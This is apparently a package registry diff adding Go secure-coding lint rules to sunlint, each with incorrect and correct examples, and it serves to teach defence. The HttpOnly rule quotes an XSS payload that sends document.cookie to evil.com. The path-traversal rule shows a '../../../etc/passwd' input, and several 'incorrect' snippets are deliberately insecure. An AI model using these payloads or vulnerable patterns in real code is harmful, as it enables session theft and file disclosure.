@sun-asterisk/sunlint 1.3.40 → 1.3.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/core/rule-selection-service.js +11 -0
- package/package.json +1 -1
- package/skill-assets/sunlint-code-quality/rules/go/C006-verb-noun-functions.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C013-no-dead-code.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/C014-dependency-injection.md +85 -0
- package/skill-assets/sunlint-code-quality/rules/go/C017-no-constructor-logic.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/go/C018-generic-errors.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/go/C019-error-log-level.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/C020-no-unused-imports.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C022-no-unused-variables.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/go/C023-no-duplicate-names.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/go/C024-centralize-constants.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/C029-catch-log-root-cause.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/go/C030-custom-error-classes.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/go/C033-separate-data-access.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/go/C035-error-context-logging.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/C041-no-hardcoded-secrets.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C042-boolean-naming.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/C052-controller-parsing.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/go/C060-superclass-logic.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/go/C067-no-hardcoded-config.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S003-open-redirect.md +80 -0
- package/skill-assets/sunlint-code-quality/rules/go/S004-no-log-credentials.md +66 -0
- package/skill-assets/sunlint-code-quality/rules/go/S005-server-authorization.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/S006-default-credentials.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/go/S007-output-encoding.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/S009-approved-crypto.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/go/S010-csprng.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S011-encrypted-client-hello.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/go/S012-secrets-management.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S013-tls-connections.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/go/S016-no-sensitive-query-string.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/S017-parameterized-queries.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/go/S019-email-input-sanitization.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/go/S020-eval-code-execution.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/go/S022-context-escaping.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S023-dynamic-js-encoding.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S025-server-validation.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/go/S026-tls-encryption.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/go/S027-mtls-validation.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S028-upload-limits.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S029-csrf-protection.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S030-directory-browsing.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S031-secure-cookie-flag.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/S032-httponly-cookie.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/S033-samesite-cookie.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S034-host-prefix-cookie.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/go/S035-app-hostnames.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/S036-internal-file-paths.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/go/S037-anti-cache-headers.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/go/S039-tls-certificate-validation.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/go/S041-logout-invalidation.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/go/S042-long-lived-sessions.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S044-critical-changes-reauth.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S045-brute-force-protection.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/S047-oauth-csrf-protection.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S048-oauth-redirect-validation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S049-auth-code-expiry.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S050-token-entropy.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S051-password-length.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S052-otp-entropy.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/S053-generic-error-messages.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S054-no-default-admin.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/go/S055-content-type-validation.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S056-log-injection.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/go/S057-synchronized-time.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/go/S058-ssrf-protection.md +70 -0
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Limit Upload File Size And Count
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents denial of service attacks
|
|
5
|
+
tags: upload, file-size, dos, limits, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Limit Upload File Size And Count
|
|
9
|
+
|
|
10
|
+
Unlimited uploads can exhaust disk space and memory, causing denial of service.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no limits):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
func UploadHandler(w http.ResponseWriter, r *http.Request) {
|
|
16
|
+
r.ParseMultipartForm(32 << 20) // 32MB in memory, but no total limit
|
|
17
|
+
file, _, _ := r.FormFile("file")
|
|
18
|
+
}
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**Correct (enforce limits):**
|
|
22
|
+
|
|
23
|
+
```go
|
|
24
|
+
func UploadHandler(w http.ResponseWriter, r *http.Request) {
|
|
25
|
+
// 1. Limit total request body size
|
|
26
|
+
r.Body = http.MaxBytesReader(w, r.Body, 5<<20) // 5MB limit
|
|
27
|
+
|
|
28
|
+
err := r.ParseMultipartForm(5 << 20)
|
|
29
|
+
if err != nil {
|
|
30
|
+
http.Error(w, "File too large or invalid request", http.StatusRequestEntityTooLarge)
|
|
31
|
+
return
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// 2. Validate file type
|
|
35
|
+
file, header, _ := r.FormFile("file")
|
|
36
|
+
buffer := make([]byte, 512)
|
|
37
|
+
file.Read(buffer)
|
|
38
|
+
contentType := http.DetectContentType(buffer)
|
|
39
|
+
|
|
40
|
+
allowedTypes := map[string]bool{
|
|
41
|
+
"image/jpeg": true,
|
|
42
|
+
"image/png": true,
|
|
43
|
+
"application/pdf": true,
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
if !allowedTypes[contentType] {
|
|
47
|
+
http.Error(w, "Invalid file type", 400)
|
|
48
|
+
return
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Recommended limits:**
|
|
54
|
+
- Images: 5-10MB
|
|
55
|
+
- Documents: 10-50MB
|
|
56
|
+
- Max total request size: 100MB
|
|
57
|
+
|
|
58
|
+
**Tools:** `http.MaxBytesReader`, NGINX `client_max_body_size`
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Apply CSRF Protection
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents cross-site request forgery attacks
|
|
5
|
+
tags: csrf, tokens, forms, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Apply CSRF Protection
|
|
9
|
+
|
|
10
|
+
CSRF attacks force authenticated users to perform unintended actions in a web application in which they're currently authenticated.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no CSRF protection):**
|
|
13
|
+
|
|
14
|
+
```html
|
|
15
|
+
<!-- No CSRF token - vulnerable if using cookie-based auth -->
|
|
16
|
+
<form action="/transfer" method="POST">
|
|
17
|
+
<input name="amount" value="1000">
|
|
18
|
+
<button>Transfer</button>
|
|
19
|
+
</form>
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (CSRF protection using gorilla/csrf):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
import "github.com/gorilla/csrf"
|
|
26
|
+
|
|
27
|
+
func main() {
|
|
28
|
+
CSRF := csrf.Protect([]byte("32-byte-long-auth-key"))
|
|
29
|
+
http.ListenAndServe(":8000", CSRF(r))
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
func TransferHandler(w http.ResponseWriter, r *http.Request) {
|
|
33
|
+
// Pass the token to the template
|
|
34
|
+
w.Header().Set("X-CSRF-Token", csrf.Token(r))
|
|
35
|
+
// r.FormValue("gorilla.csrf.Token") is also checked automatically
|
|
36
|
+
}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
```html
|
|
40
|
+
<form action="/transfer" method="POST">
|
|
41
|
+
<!-- Use a hidden field for the token -->
|
|
42
|
+
<input type="hidden" name="gorilla.csrf.Token" value="{{ .csrfToken }}">
|
|
43
|
+
<input name="amount">
|
|
44
|
+
<button>Transfer</button>
|
|
45
|
+
</form>
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Defense Depth:**
|
|
49
|
+
- Use `SameSite=Strict` or `Lax` for cookies.
|
|
50
|
+
- Use `Authorization: Bearer` (not cookies) for APIs.
|
|
51
|
+
- Custom headers (e.g., `X-Requested-With`) for AJAX.
|
|
52
|
+
|
|
53
|
+
**Tools:** `gorilla/csrf`, `nosurf`, SameSite cookies
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Disable Directory Browsing
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents file enumeration
|
|
5
|
+
tags: directory, listing, file-exposure, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Disable Directory Browsing
|
|
9
|
+
|
|
10
|
+
Directory listing exposes file structure and potentially sensitive files.
|
|
11
|
+
|
|
12
|
+
**Incorrect (directory listing enabled):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// http.FileServer enables directory listing by default
|
|
16
|
+
// if index.html is missing.
|
|
17
|
+
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("./public"))))
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
**Correct (directory listing disabled):**
|
|
21
|
+
|
|
22
|
+
```go
|
|
23
|
+
type neuteredFileSystem struct {
|
|
24
|
+
fs http.FileSystem
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
func (nfs neuteredFileSystem) Open(path string) (http.File(f), error) {
|
|
28
|
+
f, err := nfs.fs.Open(path)
|
|
29
|
+
if err != nil {
|
|
30
|
+
return nil, err
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
s, err := f.Stat()
|
|
34
|
+
if s.IsDir() {
|
|
35
|
+
index := filepath.Join(path, "index.html")
|
|
36
|
+
if _, err := nfs.fs.Open(index); err != nil {
|
|
37
|
+
closeErr := f.Close()
|
|
38
|
+
if closeErr != nil {
|
|
39
|
+
return nil, closeErr
|
|
40
|
+
}
|
|
41
|
+
return nil, err
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
return f, nil
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Usage
|
|
49
|
+
fs := neuteredFileSystem{http.Dir("./public")}
|
|
50
|
+
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(fs)))
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Tools:** Web server configuration, Custom `FileSystem` implementation
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set Secure Flag On Session Cookies
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents cookie theft over unencrypted connections
|
|
5
|
+
tags: cookies, secure, https, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set Secure Flag On Session Cookies
|
|
9
|
+
|
|
10
|
+
Without the Secure flag, cookies can be sent over unencrypted HTTP connections.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no Secure flag):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
}
|
|
19
|
+
http.SetCookie(w, cookie) // No Secure flag!
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (Secure flag set):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
cookie := &http.Cookie{
|
|
26
|
+
Name: "session",
|
|
27
|
+
Value: token,
|
|
28
|
+
Secure: true, // HTTPS only
|
|
29
|
+
HttpOnly: true,
|
|
30
|
+
SameSite: http.SameSiteStrictMode,
|
|
31
|
+
}
|
|
32
|
+
http.SetCookie(w, cookie)
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
**Production enforcement:**
|
|
36
|
+
|
|
37
|
+
```go
|
|
38
|
+
isProduction := os.Getenv("ENV") == "production"
|
|
39
|
+
|
|
40
|
+
cookie := &http.Cookie{
|
|
41
|
+
Name: "session",
|
|
42
|
+
Value: token,
|
|
43
|
+
Secure: isProduction,
|
|
44
|
+
HttpOnly: true,
|
|
45
|
+
}
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Tools:** `http.Cookie`, Security headers Audit
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set HttpOnly On Session Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents cookie theft via XSS
|
|
5
|
+
tags: cookies, httponly, xss, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set HttpOnly On Session Cookies
|
|
9
|
+
|
|
10
|
+
Without HttpOnly, JavaScript can read cookie values, enabling XSS attacks to steal sessions.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no HttpOnly):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
}
|
|
19
|
+
// Default HttpOnly is false
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (HttpOnly set):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
cookie := &http.Cookie{
|
|
26
|
+
Name: "session",
|
|
27
|
+
Value: token,
|
|
28
|
+
HttpOnly: true, // Not accessible to JavaScript
|
|
29
|
+
Secure: true,
|
|
30
|
+
}
|
|
31
|
+
http.SetCookie(w, cookie)
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
**XSS attack example (prevented by HttpOnly):**
|
|
35
|
+
|
|
36
|
+
```javascript
|
|
37
|
+
// Attacker's XSS payload (blocked by HttpOnly)
|
|
38
|
+
fetch('https://evil.com/steal?cookie=' + document.cookie);
|
|
39
|
+
// With HttpOnly, session cookie is NOT in document.cookie
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
**Tools:** Browser DevTools, OWASP ZAP, `http.Cookie`
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set SameSite On Session Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: provides CSRF protection
|
|
5
|
+
tags: cookies, samesite, csrf, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set SameSite On Session Cookies
|
|
9
|
+
|
|
10
|
+
SameSite attribute prevents cookies from being sent in cross-site requests, providing CSRF protection.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no SameSite):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
}
|
|
19
|
+
// Default SameSite might be 0 (none/browser default)
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (SameSite set):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
// Strict - most secure
|
|
26
|
+
cookie := &http.Cookie{
|
|
27
|
+
Name: "session",
|
|
28
|
+
Value: token,
|
|
29
|
+
SameSite: http.SameSiteStrictMode,
|
|
30
|
+
HttpOnly: true,
|
|
31
|
+
Secure: true,
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Lax - allows top-level navigation (clicking links)
|
|
35
|
+
cookie := &http.Cookie{
|
|
36
|
+
Name: "session",
|
|
37
|
+
Value: token,
|
|
38
|
+
SameSite: http.SameSiteLaxMode,
|
|
39
|
+
}
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
**SameSite options in Go:**
|
|
43
|
+
- `http.SameSiteStrictMode`
|
|
44
|
+
- `http.SameSiteLaxMode`
|
|
45
|
+
- `http.SameSiteNoneMode` (requires `Secure: true`)
|
|
46
|
+
|
|
47
|
+
**Recommended:** `http.SameSiteStrictMode` for session cookies.
|
|
48
|
+
|
|
49
|
+
**Tools:** Browser DevTools, Security Scan
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Use __Host- Prefix For Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures cookie is domain-locked
|
|
5
|
+
tags: cookies, prefix, domain, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Use __Host- Prefix For Cookies
|
|
9
|
+
|
|
10
|
+
The `__Host-` prefix ensures cookies are only sent to the exact host, preventing subdomain attacks.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no prefix):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
Secure: true,
|
|
19
|
+
Path: "/",
|
|
20
|
+
}
|
|
21
|
+
// Cookie could be set by subdomain attacker
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
**Correct (__Host- prefix):**
|
|
25
|
+
|
|
26
|
+
```go
|
|
27
|
+
cookie := &http.Cookie{
|
|
28
|
+
Name: "__Host-session",
|
|
29
|
+
Value: token,
|
|
30
|
+
Secure: true,
|
|
31
|
+
Path: "/",
|
|
32
|
+
HttpOnly: true,
|
|
33
|
+
SameSite: http.SameSiteStrictMode,
|
|
34
|
+
// Domain must NOT be set for __Host-
|
|
35
|
+
}
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
**__Host- requirements:**
|
|
39
|
+
- Must have `Secure: true`
|
|
40
|
+
- Must have `Path: "/"`
|
|
41
|
+
- Must NOT have `Domain` attribute set
|
|
42
|
+
- Cannot be set from a subdomain
|
|
43
|
+
|
|
44
|
+
**Tools:** Browser DevTools, Security Audit
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Host Apps On Different Hostnames
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: provides cookie and origin isolation
|
|
5
|
+
tags: hostname, isolation, same-origin, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Host Apps On Different Hostnames
|
|
9
|
+
|
|
10
|
+
Different applications on the same hostname can access each other's cookies and storage.
|
|
11
|
+
|
|
12
|
+
**Incorrect (shared hostname):**
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
https://example.com/admin # Admin panel
|
|
16
|
+
https://example.com/api # API
|
|
17
|
+
https://example.com/app # User app
|
|
18
|
+
# All share cookies and localStorage!
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**Correct (separate hostnames):**
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
https://admin.example.com # Admin panel
|
|
25
|
+
https://api.example.com # API
|
|
26
|
+
https://app.example.com # User app
|
|
27
|
+
# Each has isolated cookies and storage
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
**Benefits:**
|
|
31
|
+
- Cookie isolation
|
|
32
|
+
- localStorage isolation
|
|
33
|
+
- Same-origin policy protection
|
|
34
|
+
|
|
35
|
+
**Configuration in Go (CORS example):**
|
|
36
|
+
|
|
37
|
+
```go
|
|
38
|
+
import "github.com/rs/cors"
|
|
39
|
+
|
|
40
|
+
mux := http.NewServeMux()
|
|
41
|
+
handler := cors.New(cors.Options{
|
|
42
|
+
AllowedOrigins: []string{
|
|
43
|
+
"https://app.example.com",
|
|
44
|
+
"https://admin.example.com",
|
|
45
|
+
},
|
|
46
|
+
AllowCredentials: true,
|
|
47
|
+
}).Handler(mux)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Tools:** Infrastructure Planning, Security Audit
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Use Internal Data For File Paths
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: prevents path traversal attacks
|
|
5
|
+
tags: file-path, path-traversal, lfi, input-validation, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Use Internal Data For File Paths
|
|
9
|
+
|
|
10
|
+
Never construct file paths using user input directly. Path traversal attacks can access any file on the system.
|
|
11
|
+
|
|
12
|
+
**Incorrect (user-controlled paths):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// Path traversal vulnerability
|
|
16
|
+
func DownloadHandler(w http.ResponseWriter, r *http.Request) {
|
|
17
|
+
filename := r.URL.Query().Get("file")
|
|
18
|
+
http.ServeFile(w, r, "/uploads/"+filename)
|
|
19
|
+
// Attacker: ?file=../../../etc/passwd
|
|
20
|
+
}
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (validated internal paths):**
|
|
24
|
+
|
|
25
|
+
```go
|
|
26
|
+
import (
|
|
27
|
+
"path/filepath"
|
|
28
|
+
"strings"
|
|
29
|
+
)
|
|
30
|
+
|
|
31
|
+
func DownloadHandler(w http.ResponseWriter, r *http.Request) {
|
|
32
|
+
filename := r.URL.Query().Get("file")
|
|
33
|
+
|
|
34
|
+
// 1. Sanitize: get only the filename
|
|
35
|
+
safeName := filepath.Base(filename)
|
|
36
|
+
|
|
37
|
+
// 2. Validate against allowlist (e.g., from DB)
|
|
38
|
+
if !isUserFile(r.Context().Value("userId").(string), safeName) {
|
|
39
|
+
http.Error(w, "File not found", 404)
|
|
40
|
+
return
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// 3. Construct absolute path and verify prefix
|
|
44
|
+
uploadDir := "/abs/path/to/uploads"
|
|
45
|
+
finalPath := filepath.Join(uploadDir, safeName)
|
|
46
|
+
|
|
47
|
+
if !strings.HasPrefix(finalPath, uploadDir) {
|
|
48
|
+
http.Error(w, "Invalid path", 400)
|
|
49
|
+
return
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
http.ServeFile(w, r, finalPath)
|
|
53
|
+
}
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
**Tools:** `filepath.Base`, `filepath.Join`, `gosec` (G304)
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set Anti-cache Headers
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents sensitive data caching
|
|
5
|
+
tags: headers, cache, sensitive-data, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set Anti-cache Headers
|
|
9
|
+
|
|
10
|
+
Sensitive pages cached in browsers or proxies can be accessed by other users on shared machines.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no cache control):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
func AccountHandler(w http.ResponseWriter, r *http.Request) {
|
|
16
|
+
json.NewEncoder(w).Encode(sensitiveData)
|
|
17
|
+
// May be cached!
|
|
18
|
+
}
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**Correct (anti-cache headers):**
|
|
22
|
+
|
|
23
|
+
```go
|
|
24
|
+
func noCache(next http.Handler) http.Handler {
|
|
25
|
+
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
26
|
+
w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, private")
|
|
27
|
+
w.Header().Set("Pragma", "no-cache")
|
|
28
|
+
w.Header().Set("Expires", "0")
|
|
29
|
+
next.ServeHTTP(w, r)
|
|
30
|
+
})
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Usage in router
|
|
34
|
+
mux.Handle("/api/account", noCache(http.HandlerFunc(AccountHandler)))
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
**When to use anti-cache:**
|
|
38
|
+
- Account pages
|
|
39
|
+
- Financial data
|
|
40
|
+
- Personal information (PII)
|
|
41
|
+
- Any authenticated content
|
|
42
|
+
|
|
43
|
+
**Tools:** Security Headers, Browser DevTools
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: TLS Clients Must Validate Server Certificates
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: prevents man-in-the-middle attacks
|
|
5
|
+
tags: tls, certificates, validation, mitm, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## TLS Clients Must Validate Server Certificates
|
|
9
|
+
|
|
10
|
+
Disabling certificate validation makes TLS useless - attackers can intercept all traffic using self-signed or forged certificates.
|
|
11
|
+
|
|
12
|
+
**Incorrect (disabled validation):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// DANGEROUS: Skipping verification
|
|
16
|
+
tr := &http.Transport{
|
|
17
|
+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
|
18
|
+
}
|
|
19
|
+
client := &http.Client{Transport: tr}
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (proper validation):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
// Default behavior - validates certificates against system root CAs
|
|
26
|
+
resp, err := http.Get("https://api.example.com")
|
|
27
|
+
|
|
28
|
+
// Custom CA for internal services
|
|
29
|
+
caCert, _ := os.ReadFile("internal-ca.crt")
|
|
30
|
+
caCertPool := x509.NewCertPool()
|
|
31
|
+
caCertPool.AppendCertsFromPEM(caCert)
|
|
32
|
+
|
|
33
|
+
tr := &http.Transport{
|
|
34
|
+
TLSClientConfig: &tls.Config{
|
|
35
|
+
RootCAs: caCertPool,
|
|
36
|
+
},
|
|
37
|
+
}
|
|
38
|
+
client := &http.Client{Transport: tr}
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
**Tools:** `crypto/tls`, `crypto/x509`, `gosec` (G402)
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Invalidate Session On Logout
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures logout actually terminates access
|
|
5
|
+
tags: session, logout, invalidation, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Invalidate Session On Logout
|
|
9
|
+
|
|
10
|
+
If sessions/tokens persist after logout, they can be stolen and used by attackers.
|
|
11
|
+
|
|
12
|
+
**Incorrect (client-only logout):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// Server doesn't invalidate session - just returns success
|
|
16
|
+
func LogoutHandler(w http.ResponseWriter, r *http.Request) {
|
|
17
|
+
w.WriteHeader(http.StatusOK) // Token/Session still valid on server!
|
|
18
|
+
}
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**Correct (server-side invalidation):**
|
|
22
|
+
|
|
23
|
+
```go
|
|
24
|
+
func LogoutHandler(w http.ResponseWriter, r *http.Request) {
|
|
25
|
+
// 1. Destroy server-side session (e.g., in Redis)
|
|
26
|
+
sessionID := getSessionID(r)
|
|
27
|
+
sessionStore.Delete(sessionID)
|
|
28
|
+
|
|
29
|
+
// 2. Clear cookie
|
|
30
|
+
cookie := &http.Cookie{
|
|
31
|
+
Name: "session",
|
|
32
|
+
Value: "",
|
|
33
|
+
Path: "/",
|
|
34
|
+
HttpOnly: true,
|
|
35
|
+
Secure: true,
|
|
36
|
+
MaxAge: -1, // Delete immediately
|
|
37
|
+
}
|
|
38
|
+
http.SetCookie(w, cookie)
|
|
39
|
+
|
|
40
|
+
// 3. Prevent caching of sensitive logout confirmation
|
|
41
|
+
w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
|
|
42
|
+
w.WriteHeader(http.StatusOK)
|
|
43
|
+
}
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
**Tools:** Session management libraries, JWT Blacklisting
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Re-authenticate For Long-lived Sessions
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures continuous user identity verification
|
|
5
|
+
tags: session, authentication, timeout, reauthentication, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Re-authenticate For Long-lived Sessions
|
|
9
|
+
|
|
10
|
+
Long-running sessions may be hijacked. Periodic re-authentication ensures the original user is still present.
|
|
11
|
+
|
|
12
|
+
